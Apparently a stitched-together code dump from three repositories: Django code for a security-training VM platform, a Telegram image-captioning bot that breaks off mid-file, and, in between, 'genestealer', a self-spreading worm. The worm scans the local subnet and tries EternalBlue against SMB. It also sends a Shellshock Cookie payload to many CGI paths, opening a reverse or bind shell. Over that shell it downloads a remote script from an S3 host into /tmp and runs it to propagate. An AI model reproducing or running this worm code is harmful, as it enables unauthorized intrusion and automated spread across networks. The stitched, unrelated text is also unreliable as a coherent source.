this scenario which were submitted by the user. """ show_content = any(x in environ['submitted_secrets'] for x in secrets) if show_content: return macro.parsed_body() else: dragons = tag.strong(_('Here be dragons.')) text = _('This content is hidden, ' 'you need to submit a specific secret in order to show it.') return tag.div(tag.p(dragons, ' ', text), class_='require_secret') def spoiler(macro, environ): """Macro for spoiler. Showing and hiding it is done via javascript.""" return tag.div(macro.parsed_body(), class_='spoiler') def ip(macro, environ): """Macro for the virtual machine's ip.""" ip = environ.get('ip') if not ip: ip = '127.0.0.1' return tag.span(ip, class_='ip') def code(macro, environ, lang='text', linenos=False): try: lexer = get_lexer_by_name(lang) except ClassNotFound: return tag.div(_('No such language: {lang}').format(lang=lang), class_='error') formatter = HtmlFormatter(linenos=linenos == 'yes') return Markup(highlight(macro.body, lexer, formatter)) comment_re = re.compile('\{#(.+?)#\}') def comment(match, environ): return Markup() _non_bodied_macros = {'ip': ip} _bodied_macros = { 'enterSecret': enter_secret, 'requireSecret': require_secret, 'spoiler': spoiler, 'code': code } _dialect = create_dialect(creole11_base, non_bodied_macros=_non_bodied_macros, bodied_macros=_bodied_macros, custom_markup=[(comment_re, comment)]) render_scenario = Parser(dialect=_dialect, method='xhtml') --- FILE SEPARATOR --- from __future__ import print_function import os import json import subprocess import re from optparse import make_option import libvirt from django.core.management.base import BaseCommand, CommandError from django.conf import settings from insekta.scenario.models import Scenario, Secret from insekta.common.virt import connections from insekta.common.misc import progress_bar CHUNK_SIZE = 8192 _REQUIRED_KEYS = ['name', 'title', 'memory', 'secrets', 'image'] class Command(BaseCommand): option_list = BaseCommand.option_list + ( make_option('--skipupload', action='store_true', dest='skip_upload', default=False, help='Do not upload the scenario image'), ) args = '<scenario_path>' help = 'Loads a scenario into the database and storage pool' def handle(self, *args, **options): if len(args) != 1: raise CommandError('The only arg is the scenario directory') scenario_dir = args[0] # Parsing metadata try: with open(os.path.join(scenario_dir, 'metadata.json')) as f_meta: metadata = json.load(f_meta) if not isinstance(metadata, dict): raise ValueError('Metadata must be a dictionary') except IOError, e: raise CommandError('Could not load metadata: {0}'.format(e)) except ValueError, e: raise CommandError('Could not parse metadata: {0}'.format(e)) # Validating metadata for required_key in _REQUIRED_KEYS: if required_key not in metadata: raise CommandError('Metadata requires the key{0}'.format( required_key)) # Validating secrets secrets = metadata['secrets'] if (not isinstance(secrets, list) or not all(isinstance(x, basestring) for x in secrets)): raise CommandError('Secrets must be a list of strings') # Reading description description_file = os.path.join(scenario_dir, 'description.creole') try: with open(description_file) as f_description: description = f_description.read() except IOError, e: raise CommandError('Could not read description: {0}'.format(e)) # Checking image scenario_img = os.path.join(scenario_dir, metadata['image']) if not os.path.exists(scenario_img): raise CommandError('Image file is missing') if not os.path.isfile(scenario_img): raise CommandError('Image file is not a file') # Getting virtual size by calling qemu-img qemu_img = getattr(settings, 'QEMU_IMG_BINARY', '/usr/bin/qemu-img') p = subprocess.Popen([qemu_img, 'info', scenario_img], stdout=subprocess.PIPE) stdout, _stderr = p.communicate() match = re.search('virtual size:.*?\((\d+) bytes\)', stdout) if not match: raise CommandError('Invalid image file format') scenario_size = int(match.group(1)) self._create_scenario(metadata, description, scenario_img, scenario_size, options) def _create_scenario(self, metadata, description, scenario_img, scenario_size, options): try: scenario = Scenario.objects.get(name=metadata['name']) was_enabled = scenario.enabled scenario.title = metadata['title'] scenario.memory = metadata['memory'] scenario.description = description scenario.enabled = False created = False print('Updating scenario ...') except Scenario.DoesNotExist: scenario = Scenario(name=metadata['name'], title= metadata['title'], memory=metadata['memory'], description=description) created = True print('Creating scenario ...') scenario.save() print('Importing secrets for scenario ...') for scenario_secret in Secret.objects.filter(scenario=scenario): if scenario_secret.secret not in metadata['secrets']: scenario_secret.delete() for secret in metadata['secrets']: Secret.objects.get_or_create(scenario=scenario, secret=secret) print('Storing image on all nodes:') for node in scenario.get_nodes(): volume = self._update_volume(node, scenario, scenario_size) if not options['skip_upload']: self._upload_image(node, scenario_img, scenario_size, volume) connections.close() if not created: scenario.enabled = was_enabled scenario.save() enable_str = 'is' if scenario.enabled else 'is NOT' print('Done! Scenario {0} enabled'.format(enable_str)) def _update_volume(self, node, scenario, scenario_size): try: volume = scenario.get_volume(node) volume.delete(flags=0) except libvirt.libvirtError: pass print('Creating volume on node {0} ...'.format(node)) pool = scenario.get_pool(node) xml_desc = """ <volume> <name>{0}</name> <capacity>{1}</capacity> <target> <format type='qcow2' /> </target> </volume> """.format(scenario.name, scenario_size) return pool.createXML(xml_desc, flags=0) def _upload_image(self, node, scenario_img, scenario_size, volume): print('Uploading image to this volume ...') stream = connections[node].newStream(flags=0) stream.upload(volume, offset=0, length=scenario_size, flags=0) progress = progress_bar(os.stat(scenario_img).st_size) data_sent = 0 with open(scenario_img) as f_scenario: while True: data = f_scenario.read(CHUNK_SIZE) if not data: stream.finish() break # Backward-compatibility for older libvirt versions try: stream.send(data) except TypeError: stream.send(data, len(data)) data_sent += len(data) progress.send(data_sent) print() --- FILE SEPARATOR --- from __future__ import print_function import time import signal from django.core.management.base import NoArgsCommand from insekta.common.virt import connections from insekta.scenario.models import RunTaskQueue, ScenarioError MIN_SLEEP = 1.0 class Command(NoArgsCommand): help = 'Manages the state changes of virtual machines' def handle_noargs(self, **options): self.run = True signal.signal(signal.SIGINT, lambda sig, frame: self.stop()) signal.signal(signal.SIGTERM, lambda sig, frame: self.stop()) last_call = time.time() while self.run: for task in RunTaskQueue.objects.all(): try: self._handle_task(task) except ScenarioError: # This can happen if someone manages the vm manually. # We can just ignore it, it does no harm pass task.delete() current_time = time.time() time_passed = current_time - last_call if time_passed < MIN_SLEEP: time.sleep(MIN_SLEEP - time_passed) last_call = current_time connections.close() def _handle_task(self, task): scenario_run = task.scenario_run db_state = scenario_run.state scenario_run.refresh_state() if scenario_run.state != db_state: scenario_run.save() # Scenario run was deleted in a previous task, we need to ignore # all further task actions except create if scenario_run.state == 'disabled' and task.action != 'create': return if task.action == 'create': if scenario_run.state == 'disabled': scenario_run.create_domain() elif task.action == 'start': if scenario_run.state == 'stopped': scenario_run.start() elif task.action == 'stop': if scenario_run.state == 'started': scenario_run.stop() elif task.action == 'suspend': if scenario_run.state == 'started': scenario_run.suspend() elif task.action == 'resume': if scenario_run.state == 'suspended': scenario_run.resume() elif task.action == 'destroy': scenario_run.destroy_domain() scenario_run.delete() def stop(self): print('Stopping, please wait a few moments.') self.run = False --- FILE SEPARATOR --- import random import hmac import hashlib import libvirt from django.db import models from django.conf import settings from django.utils.translation import ugettext as _ from django.contrib.auth.models import User from insekta.common.virt import connections from insekta.network.models import Address HYPERVISOR_CHOICES = ( ('qemu', 'Qemu (with KVM)'), ) RUN_STATE_CHOICES = ( ('disabled', 'VM is not created yet'), ('preparing', 'Preparing'), ('started', 'VM started'), ('suspended', 'VM suspended'), ('stopped', 'VM stopped'), ('error', 'VM has weird error') ) AVAILABLE_TASKS = { 'create': 'Create VM', 'start': 'Start VM', 'stop': 'Stop VM', 'suspend': 'Suspend VM', 'resume': 'Suspend VM', 'destroy': 'Destroy VM' } class ScenarioError(Exception): pass class InvalidSecret(ScenarioError): pass class Scenario(models.Model): name = models.CharField(max_length=80, unique=True) title = models.CharField(max_length=200) memory = models.IntegerField() hypervisor = models.CharField(max_length=10, default='qemu', choices=HYPERVISOR_CHOICES) description = models.TextField() enabled = models.BooleanField(default=False) class Meta: permissions = ( ('view_editor', _('Can view the scenario editor')), ) def __unicode__(self): return self.title def get_secrets(self): """Return a frozenset of secrets as strings.""" return frozenset(secret.secret for secret in self.secret_set.all()) def get_submitted_secrets(self, user): """Return a frozenset of user submitted secrets. :param user: Instance of :class:`django.contrib.auth.models.User`. """ submitted_secrets = SubmittedSecret.objects.filter(user=user, secret__scenario=self) return frozenset(sub.secret.secret for sub in submitted_secrets) def submit_secret(self, user, secret, tokens=None): """Submit a secret for a user. :param user: Instance of :class:`django.contrib.auth.models.User`. :param secret: The secret as string. :param tokens: A list of security tokens calculated by the function :func:`insekta.scenario.models.calculate_secret_token`. The secret will only be accepted, if it's token is inside this list. :rtype: :class:`insekta.scenario.models.SubmittedSecret` """ try: secret_obj = Secret.objects.get(scenario=self, secret=secret) except Secret.DoesNotExist: raise InvalidSecret(_('This secret is invalid!')) else: valid_token = calculate_secret_token(user, secret) if tokens is not None and valid_token not in tokens: raise InvalidSecret(_('This secret is invalid!')) if secret in self.get_submitted_secrets(user): raise InvalidSecret(_('This secret was already submitted!')) return SubmittedSecret.objects.create(secret=secret_obj, user=user) def get_nodes(self): """Return a list containing all nodes this scenario can run on.""" # For now, we have only one node per hypervisor, but this # can change. Using this method we can easily assign # each scenario an own node or several nodes if we need # to scale. return [self.hypervisor] def get_pool(self, node): """Return the pool where volume of the scenario image is stored. :param node: A libvirt node, e.g. 'mynode' :rtype: :class:`libvirt.virStoragePool` """ pool_name = settings.LIBVIRT_STORAGE_POOLS[node] return connections[node].storagePoolLookupByName(pool_name) def get_volume(self, node): """Return the volume where the image of this scenario is stored. :param node: A libvirt node, e.g. 'mynode'. :rtype: :class:`libvirt.virStorageVol` >>> scenario = Scenario.objects.get(pk=1) >>> vol = scenario.get_volume('mynode') >>> print(vol.path()) # Prints /dev/insekta/simple-buffer-overflow """ pool = self.get_pool(node) return pool.storageVolLookupByName(self.name) def start(self, user, node=None): """Start this scenario for the given user. :param user: Instance of :class:`django.contrib.auth.models.User`. :rtype: :class:`insekta.scenario.models.ScenarioRun`. """ if not self.enabled: raise ScenarioError('Scenario is not enabled') if node is None: node = random.choice(self.get_nodes()) return ScenarioRun.objects.create(scenario=self, user=user, node=node, address=Address.objects.get_free()) class ScenarioRun(models.Model): scenario = models.ForeignKey(Scenario) user = models.ForeignKey(User) node = models.CharField(max_length=20) address = models.ForeignKey(Address) state = models.CharField(max_length=10, default='disabled', choices=RUN_STATE_CHOICES) class Meta: unique_together = (('user', 'scenario'), ) def start(self): """Start the virtual machine.""" self._do_vm_action('create', 'started') def stop(self): """Stops the virtual machine.""" self._do_vm_action('destroy', 'stopped') def suspend(self): """Suspends the virtual machine.""" self._do_vm_action('suspend', 'suspended') def resume(self): self._do_vm_action('resume', 'started') def refresh_state(self): """Fetches the state from libvirt and saves it.""" try: domain = self.get_domain() except libvirt.libvirtError: self.state = 'disabled' else: try: state, _reason = domain.state(flags=0) except libvirt.libvirtError: new_state = 'error' else: new_state = { libvirt.VIR_DOMAIN_NOSTATE: 'error', libvirt.VIR_DOMAIN_RUNNING: 'started', libvirt.VIR_DOMAIN_BLOCKED: 'error', libvirt.VIR_DOMAIN_PAUSED: 'suspended', libvirt.VIR_DOMAIN_SHUTDOWN: 'error', libvirt.VIR_DOMAIN_SHUTOFF: 'stopped' }.get(state, 'error') self.state = new_state def create_domain(self): """Create a domain for this scenario run. This includes the following: * Cloning the volume of the scenario * Creating a new domain using the cloned volume as disk * Starting the domain :rtype: :class:`libvirt.virDomain`. """ volume = self._create_volume() xml_desc = self._build_domain_xml(volume) domain = connections[self.node].defineXML(xml_desc) self.state = 'stopped' self.save() return domain def destroy_domain(self): """ Destroy a domain of this scenario run. This includes the following: * Killing the domain if it is running * Undefining the domain * Deleting the volume of the domain """ try: self._do_vm_action('destroy', 'stopped') except ScenarioError: # It is already stopped, just ignore exception pass self._do_vm_action('undefine', 'disabled') self.get_volume().delete(flags=0) def get_domain(self): """Return the domain of this scenario run. :rtype: :class:`libvirt.virDomain`. """ conn = connections[self.node] return conn.lookupByName('scenarioRun{0}'.format(self.pk)) def get_volume(self): """Return the volume where this scenario run stores it's data. :rtype: :class:`libvirt.virStorageVol`. """ pool = self.scenario.get_pool(self.node) return pool.storageVolLookupByName('scenarioRun{0}'.format(self.pk)) def _create_volume(self): """Create a new volume by using a backing image. :rtype: :class:`libvirt.virStorageVol` """ pool = self.scenario.get_pool(self.node) base_volume = self.scenario.get_volume(self.node) capacity = base_volume.info()[1] xmldesc = """ <volume> <name>scenarioRun{id}</name> <capacity>{capacity}</capacity> <target> <format type='qcow2' /> </target> <backingStore> <path>{backing_image}</path> <format type='qcow2' /> </backingStore> </volume> """.format(id=self.pk, capacity=capacity, backing_image=base_volume.path()) return pool.createXML(xmldesc, flags=0) def _build_domain_xml(self, volume): scenario = self.scenario return """ <domain type='kvm'> <name>scenarioRun{id}</name> <description>{user} running &quot;{title}&quot;</description> <memory>{memory}</memory> <vcpu>1</vcpu> <os> <type arch="x86_64">hvm</type> </os> <devices> <disk type='file' device='disk'> <driver name='qemu' type='qcow2' /> <source file='{volume}' /> <target dev='vda' bus='virtio' /> </disk> <interface type='bridge'> <mac address='{mac}' /> <source bridge='{bridge}' /> <model type='virtio' /> </interface> <graphics type='vnc' port='-1' autoport='yes' /> </devices> </domain> """.format(id=self.pk, user=self.user.username, title=scenario.title, memory=scenario.memory * 1024, volume=volume.path(), mac=self.address.mac, bridge=settings.VM_BRIDGE) def _do_vm_action(self, action, new_state): """Do an action on the virtual machine. After executing the action, the scenario run is in the state `new_state`. If it fails, it will reread the state from libvirt, since this is mostly the cause for failing. :param action: One of 'start', 'destroy', 'suspend', 'resume' and 'undefine' """ try: domain = self.get_domain() getattr(domain, action)() self.state = new_state except libvirt.libvirtError, e: self.refresh_state() raise ScenarioError(str(e)) finally: self.save() def __unicode__(self): return u'{0} running "{1}"'.format(self.user, self.scenario) class RunTaskQueue(models.Model): scenario_run = models.ForeignKey(ScenarioRun, unique=True) action = models.CharField(max_length=10, choices=AVAILABLE_TASKS.items()) def __unicode__(self): return u'{0} for {1}'.format(self.get_action_display(), unicode(self.scenario_run)) class Secret(models.Model): scenario = models.ForeignKey(Scenario) secret = models.CharField(max_length=40) class Meta: unique_together = (('scenario', 'secret'), ) def __unicode__(self): return self.secret class SubmittedSecret(models.Model): secret = models.ForeignKey(Secret) user = models.ForeignKey(User) class Meta: unique_together = (('user', 'secret'), ) def __unicode__(self): return u'{0} submitted secret "{1}"'.format(self.user, self.secret) class ScenarioGroup(models.Model): title = models.CharField(max_length=200) scenarios = models.ManyToManyField(Scenario, related_name='groups', through='ScenarioBelonging') def __unicode__(self): return self.title class ScenarioBelonging(models.Model): scenario = models.ForeignKey(Scenario) scenario_group = models.ForeignKey(ScenarioGroup) rank = models.IntegerField() class Meta: unique_together = (('scenario', 'scenario_group'), ) def __unicode__(self): return u'{0} belongs to group {1} with rank {2}'.format(unicode( self.scenario), unicode(self.scenario_group), self.rank) def calculate_secret_token(user, secret): msg = '{0}:{1}'.format(user.pk, secret) hmac_gen = hmac.new(settings.SECRET_KEY, msg, hashlib.sha1) return hmac_gen.hexdigest() --- FILE SEPARATOR --- from operator import attrgetter from django.shortcuts import get_object_or_404, redirect from django.template.response import TemplateResponse from django.http import (HttpResponse, HttpResponseBadRequest, HttpResponseNotModified) from django.utils.translation import ugettext as _ from django.core.urlresolvers import reverse from django.contrib.auth.decorators import login_required, permission_required from django.contrib import messages from django.middleware.csrf import get_token from django import forms from insekta.scenario.models import (Scenario, ScenarioRun, RunTaskQueue, ScenarioGroup, ScenarioBelonging, InvalidSecret, calculate_secret_token, AVAILABLE_TASKS) from insekta.scenario.creole import render_scenario @login_required def scenario_home(request): """Show an users running/suspended vms and other informations.""" return TemplateResponse(request, 'scenario/home.html', { 'scenario_run_list': ScenarioRun.objects.select_related().filter( user=request.user), 'has_valid_cert': request.user.certificate.is_valid() }) @login_required def scenario_groups(request): """Show an overview of the scenarios in groups.""" # Build a dctionary for scenario groups with pk as key. # Attach attribute scenario_list to scenario group groups = {} for scenario_group in ScenarioGroup.objects.all(): scenario_group.scenario_list = [] groups[scenario_group.pk] = scenario_group # Attach attribute "rank" to scenarios and put them into # scenario group's scenario_list for belonging in ScenarioBelonging.objects.select_related('scenario'): scenario_list = groups[belonging.scenario_group.pk].scenario_list belonging.scenario.rank = belonging.rank scenario_list.append(belonging.scenario) # Sort all scenario_lists by rank for group in groups.itervalues(): group.scenario_list.sort(key=attrgetter('rank')) return TemplateResponse(request, 'scenario/groups.html', { 'scenario_group_list': groups.values() }) @login_required def all_scenarios(request): """Show all scenarios as list.""" return TemplateResponse(request, 'scenario/all.html', { 'scenario_list': Scenario.objects.filter(enabled=True) }) @login_required def show_scenario(request, scenario_name): """Shows the description of a scenario.""" scenario = get_object_or_404(Scenario, name=scenario_name, enabled=True) try: scenario_run = ScenarioRun.objects.get(user=request.user, scenario=scenario) vm_state = scenario_run.state ip = scenario_run.address.ip except ScenarioRun.DoesNotExist: vm_state = 'disabled' ip = None environ = { 'ip': ip, 'user': request.user, 'enter_secret_target': reverse('scenario.submit_secret', args=(scenario_name, )), 'submitted_secrets': scenario.get_submitted_secrets(request.user), 'all_secrets': scenario.get_secrets(), 'secret_token_function': calculate_secret_token, 'csrf_token': get_token(request) } return TemplateResponse(request, 'scenario/show.html', { 'scenario': scenario, 'description': render_scenario(scenario.description, environ=environ), 'vm_state': vm_state, 'ip': ip }) @login_required def manage_vm(request, scenario_name): scenario = get_object_or_404(Scenario, name=scenario_name, enabled=True) try: scenario_run = ScenarioRun.objects.get(user=request.user, scenario=scenario) except ScenarioRun.DoesNotExist: if request.method == 'POST': scenario_run = scenario.start(request.user) else: scenario_run = None # GET will check whether the action was executed if request.method == 'GET' and 'task_id' in request.GET: task_id = request.GET['task_id'] if not RunTaskQueue.objects.filter(pk=task_id).count(): return TemplateResponse(request, 'scenario/vmbox_dynamic.html', { 'scenario': scenario, 'vm_state': scenario_run.state if scenario_run else 'disabled', 'ip': scenario_run.address.ip if scenario_run else None }) else: return HttpResponseNotModified() # while POST asks the daemon to execute the action elif request.method == 'POST': action = request.POST.get('action') if not action or action not in AVAILABLE_TASKS: raise HttpResponseBadRequest('Action not available') # FIXME: Implement some way to prevent spamming (aka. DoS) # Checking is done in the daemon, here we just assume that # everything will work fine task = RunTaskQueue.objects.create(scenario_run=scenario_run, action=action) if request.is_ajax(): return HttpResponse('{{"task_id": {0}}}'.format(task.pk), mimetype='application/x-json') else: messages.success(request, _('Task was received and will be executed.')) return redirect(reverse('scenario.show', args=(scenario_name, ))) @login_required def submit_secret(request, scenario_name): scenario = get_object_or_404(Scenario, name=scenario_name, enabled=True) try: scenario.submit_secret(request.user, request.POST.get('secret'), request.POST.getlist('secret_token')) except InvalidSecret, e: messages.error(request, str(e)) else: messages.success(request, _('Congratulation! Your secret was valid.')) return redirect(reverse('scenario.show', args=(scenario_name, ))) @login_required @permission_required('scenario.view_editor') def editor(request): class EditorForm(forms.Form): submitted_secrets = forms.CharField(label=_('Submitted secrets:'), widget=forms.Textarea(attrs={'cols': 35, 'rows': 5}), required=False) all_secrets = forms.CharField(label=_('All secrets:'), widget=forms.Textarea( attrs={'cols': 35, 'rows': 5}), required=False) content = forms.CharField(label=_('Content:'), widget=forms.Textarea(attrs={'cols': 80, 'rows': 30}), required=False) def parse_secrets(secrets): return [secret.strip() for secret in secrets.splitlines()] if request.method == 'POST': editor_form = EditorForm(request.POST) if editor_form.is_valid(): data = editor_form.cleaned_data environ = { 'submitted_secrets': parse_secrets(data['submitted_secrets']), 'all_secrets': parse_secrets(data['all_secrets']), 'secret_token_function': calculate_secret_token, 'user': request.user, 'enter_secret_target': 'javascript:return false;', 'csrf_token': '' } preview = render_scenario(data['content'], environ=environ) else: preview = None else: editor_form = EditorForm() preview = None return TemplateResponse(request, 'scenario/editor.html', { 'editor_form': editor_form, 'preview': preview }) --- FILE SEPARATOR --- from django.conf.urls.defaults import patterns, include, url from django.shortcuts import redirect from django.core.urlresolvers import reverse from django.contrib import admin admin.autodiscover() urlpatterns = patterns('', url(r'^$', lambda request: redirect(reverse('scenario.home'))), url(r'^scenario/', include('insekta.scenario.urls')), url(r'^certificate/', include('insekta.pki.urls')), url(r'^accounts/login/$', 'django.contrib.auth.views.login'), url(r'^accounts/logout/$', 'django.contrib.auth.views.logout_then_login'), url(r'^admin/', include(admin.site.urls)), )
[ "/insekta/scenario/creole.py", "/insekta/scenario/management/commands/loadscenario.py", "/insekta/scenario/management/commands/vmd.py", "/insekta/scenario/models.py", "/insekta/scenario/views.py", "/insekta/urls.py" ]
0x6B7563696E676C696172/genestealer
#!/usr/bin/env python3 import argparse import pathlib import re from blue_you import exploit from ipaddress import ip_address, ip_network from pprint import pprint from scanner import scanner from shocker import shockshell from subprocess import check_output # SMB ports are 139 & 445, so look for 3 digit open ports smb_finder = re.compile("([0-9]{3}\/tcp)\s+(open)") # Shellshock needs port 80, so look for a 2 digit port thats open web_finder = re.compile("([0-9]{2}\/tcp)\s+(open)") def attack(ip): print("Scanning target with nmap...") vic_info = nmap.identify_ports(str(ip)) pprint(vic_info) if len(smb_finder.findall(vic_info)) == 2: # Don't need to check what ports are since we only scan for 3 print(f"Smb ports running on {ip}!!") # Run smbclient to enumerate pipes pipe_detector = re.compile('(A-z)+') smbclient_cmd = ['smbclient', '-L', f'\\\\{ip}'] smbclient_cmd_alt = ['/tmp/.smbclient', '-L', f'\\\\{ip}'] try: pipe_names = check_output(smbclient_cmd) except: pipe_names = check_output(smbclient_cmd_alt) finally: pipes = pipe_detector.findall(pipe_names) for pipe in pipes: try: exploit(ip, pipe) except: continue elif len(web_finder.findall(vic_info)) == 1: print(f"Web server found running on {ip}!!") shockshell('reverse', ip, 40000, nmap.get_self_ip()) else: print("Necessary ports not found on target") print(f"Attack on {ip} failed :(") def main(): parser = argparse.ArgumentParser(prog="GENESTEALER") parser.add_argument('mode', choices=["manual", "auto"], help="Whether to expect specified targets or not") parser.add_argument('--target', action='extend', nargs='+', help="Initial target for worm (only for manual attack mode)", type=ip_address) args = parser.parse_args() if args.mode == 'manual' and args.target is None: parser.error("Manual mode specified but no target given!") else: nmap = scanner() if args.mode == 'manual': for victim in args.target: print(f"Manual attack started against {victim}") attack(victim) else: print("Auto attack against network") curr_box = nmap.get_self_ip() print("Identifying targets...") victims = nmap.ping_scan(curr_box) if victims is [] or victims is None: print("Found no one to pwn :(") for victim in victims: attack(victim) if __name__ == '__main__': main() --- FILE SEPARATOR --- #!/usr/bin/env python3 import sys import socket import subprocess import re socket.setdefaulttimeout(2) #basic scanning utility class class scanner: #class doesn't need external arguments upon instantiation def __init__(self): #declare regex matcher up here to save the headache self.ip_find = re.compile('\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}') return #figure out what the current ip address is from the system def get_self_ip(self): """ Function to obtain the current ip address of the attacking machine """ curr_platform = sys.platform #windows calls it 'ipconfig' instead of 'ifconfig' if curr_platform != 'linux': return self.ip_find.findall(str(subprocess.check_output('ipconfig')))[0] else: return self.ip_find.findall(str(subprocess.check_output('ifconfig')))[0] #rudimentary ping scan def ping_scan(self, ip_addr): """ Function to initiate an nmap ping scan on the immedate network of the attacking machine """ #assume 24 bit netmask ip_mask = '.'.join(ip_addr.split('.')[:-1]) + '.0/24' cmd = ['nmap', '-sn', ip_mask] cmd_alt = ['/tmp/.nmap', '-sn', ip_mask] try: scan_data = subprocess.check_output(' '.join(cmd), shell=True) except: scan_data = subprocess.check_output(' '.join(cmd_alt), shell=True) finally: return self.ip_find.findall(scan_data.decode()).remove(ip_addr) def identify_ports(self, ip_addr): """ Function to initiate nmap scan of chosen hosts for the ports needed for our exploits: 80 for Shellshock, 139 & 445 for EternalBlue """ cmd = ['nmap', '-Pn', '-O', '-A', '-p 80, 139, 445', ip_addr] cmd_alt = ['/tmp/.nmap', '-Pn', '-O', '-A', '-p 80, 139, 445', ip_addr] try: scan_data = subprocess.check_output(' '.join(cmd), shell=True) except: scan_data = subprocess.check_output(' '.join(cmd_alt), shell=True) finally: return scan_data.decode() --- FILE SEPARATOR --- #!/usr/bin/env python3 from socket import * import _thread, time, sys import requests as req stop = False proxyhost = "" proxyport = 0 def usage(): print (""" Shellshock apache mod_cgi remote exploit Usage: ./exploit.py var=<value> Vars: rhost: victim host rport: victim port for TCP shell binding lhost: attacker host for TCP shell reversing lport: attacker port for TCP shell reversing pages: specific cgi vulnerable pages (separated by comma) proxy: host:port proxy Payloads: "reverse" (unix unversal) TCP reverse shell (Requires: rhost, lhost, lport) "bind" (uses non-bsd netcat) TCP bind shell (Requires: rhost, rport) Example: ./exploit.py payload=reverse rhost=1.2.3.4 lhost=5.6.7.8 lport=1234 ./exploit.py payload=bind rhost=1.2.3.4 rport=1234 Credits: Federico Galatolo 2014 Marcus Agard, Robert Unnold 2020 """) sys.exit(0) def exploit(lhost,lport,rhost,rport,payload,pages): headers = {"Cookie": payload,} for page in pages: if stop: return print(f"[-] Trying exploit on: {page}") resp = req.get(f"http://{rhost}{page}", headers=headers) if resp.status_code == 404: print(f"[*] 404 on: {page}") else: break time.sleep(1) def shockshell(payload,lhost,lport,rhost): if payload == 'reverse': try: payload = "() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/"+lhost+"/"+str(lport)+" 0>&1 2>&1 &" except: usage() elif payload == 'bind': try: payload = "() { :;}; /bin/bash -c 'nc -l -p "+rport+" -e /bin/bash &'" except: usage() else: print("[*] Unsupported payload") usage() pages = ["/cgi-sys/entropysearch.cgi", "/cgi-sys/defaultwebpage.cgi", "/cgi-mod/index.cgi", "/cgi-bin/test.cgi", "/cgi-bin-sdb/printenv", "/cgi-bin/bash", "/cgi-bin/contact.cgi", "/cgi-bin/defaultwebpage.cgi", "/cgi-bin/env.cgi", "/cgi-bin/fire.cgi", "/cgi-bin/forum.cgi", "/cgi-bin/hello.cgi", "/cgi-bin/index.cgi", "/cgi-bin/login.cgi", "/cgi-bin/main.cgi", "/cgi-bin/meme.cgi", "/cgi-bin/php", "/cgi-bin/php4", "/cgi-bin/php5", "/cgi-bin/php5-cli", "/cgi-bin/recent.cgi", "/cgi-bin/sat-ir-web.pl", "/cgi-bin/status", "/cgi-bin/test-cgi", "/cgi-bin/test.cgi", "/cgi-bin/test-cgi.pl", "/cgi-bin/test.sh", "/cgi-bin/tools/tools.pl", "/cgi-sys/php5", "/phppath/cgi_wrapper", "/phppath/php",] if payload == 'reverse': serversocket = socket(AF_INET, SOCK_STREAM) buff = 1024 addr = (lhost, lport) serversocket.bind(addr) serversocket.listen(10) print("[!] Started reverse shell handler") _thread.start_new_thread(exploit,(lhost,lport,rhost,0,payload,pages,)) if payload == 'bind': serversocket = socket(AF_INET, SOCK_STREAM) addr = (rhost,int(rport)) _thread.start_new_thread(exploit,("",0,rhost,rport,payload,pages,)) buff = 1024 while True: if payload == 'reverse': clientsocket, clientaddr = serversocket.accept() print("[!] Successfully exploited") print(f"[!] Incoming connection from {clientaddr[0]}") # Hands off keyboard exploitation stop = True clientsocket.settimeout(100) print("[-] Testing if target has already been exploited...") clientsocket.sendall("find / -name pwnd.jpeg".encode()) time.sleep(1) try: data = clientsocket.recv(buff) except: # No data == not found, keep moving pass else: print("[!] Already pwned this one! Quitting...") sys.exit(0) print("[-] Obtaining propo...") # These links may change as we update the files clientsocket.sendall("curl https://genestealer-demo.s3.amazonaws.com/propo.sh --output /tmp/.propo --silent\n".encode()) time.sleep(3) print("[-] Changing propo file mode...") clientsocket.sendall("chmod +x /tmp/.propo\n".encode()) time.sleep(1) print("[-] Checking existence and executability of propo...") clientsocket.sendall("ls /tmp -al | grep .propo\n".encode()) time.sleep(1) data = clientsocket.recv(buff) print(data.decode()) if "-rwxr-xr-x" not in data.decode(): print("Catastrophic failure!!!!!") else: clientsocket.sendall("/tmp/.propo\n".encode()) clientsocket.close() sys.exit(0) # Bind shell is less stable, so we won't implement for it if payload == 'bind': try: serversocket = socket(AF_INET, SOCK_STREAM) time.sleep(1) serversocket.connect(addr) print("[!] Successfully exploited") print(f"[!] Connected to {rhost}") stop = True serversocket.settimeout(3) while True: reply = input(f"{rhost}> ") serversocket.sendall(f"{reply}\n".encode()) data = serversocket.recv(buff) print(data.decode()) except: pass
[ "/main.py", "/scanner.py", "/shocker.py" ]
0x7067/imagevision-bot
#!/usr/bin/env python3 import time import logging import telebot from mscomputervision import _mskey from mscomputervision import msProcessRequest from translator import * TOKEN = "" # YOUR BotFather token here logger = telebot.logger telebot.logger.setLevel(logging.DEBUG) # Outputs debug messages to console. bot = telebot.TeleBot(TOKEN) @bot.message_handler(commands=['start']) def send_welcome(message): bot.reply_to(message, '''🇺🇸 Welcome!\n Send me an image\nRate the bot: https://telegram.me/storebot?start=imagevisionbot\n\n 🇧🇷 Bem-vindo!\nEnvie-me uma imagem.\nAvalie o bot: https://telegram.me/storebot?start=imagevisionbot\n\n\n Desenvolvido com pyTelegramBotAPI, ComputerVision API e Bing Translator API''') @bot.message_handler(commands=['info']) def send_welcome(message): info = ('Bot ainda em desenvolvimento!\n' 'Qualquer problema ou sugestão, por favor, fale comigo!\n' 'Telegram: @moisespedro\n' 'Avalie o bot: https://telegram.me/storebot?start=imagevisionbot \n') bot.reply_to(message, info) @bot.message_handler(content_types=["photo"]) def answer_photo(message): photo = bot.get_file(message.photo[-1].file_id) # URL direction to image photo_url = "https://api.telegram.org/file/bot{0}/{1}".format( TOKEN, photo.file_path) # Computer Vision parameters params = {'visualFeatures': 'Description'} headers = dict() headers['Ocp-Apim-Subscription-Key'] = _mskey headers['Content-Type'] = 'application/json' json = {'url': photo_url} data = None result = msProcessRequest(json, data, headers, params) msg_en = result['description']['captions'][0]['text'] msg_pt = translate_en_pt(msg_en) msg_persian = translate_en_persian(msg_en) bot.send_chat_action(message.chat.id, 'typing') time.sleep(1) bot.reply_to(message, "🇺🇸 " + msg_en + "\n🇧🇷 " + msg_pt + "\n🇮🇷 " + msg_persian) @bot.message_handler(func=lambda m: True) def reply_all(message): if message.chat.type == "private": bot.reply_to(message, '''🇺🇸 Please send me an image so I can describe it! 🇧🇷 Por favor envie uma imagem para que eu possa descrevê-la! 🇮🇷 لطفا یک عکس ارسال کن تا بتونم توصیفش کنم!''') bot.polling(none_stop=True) while True: time.sleep(5) --- FILE SEPARATOR --- #!/usr/bin/env python3 import 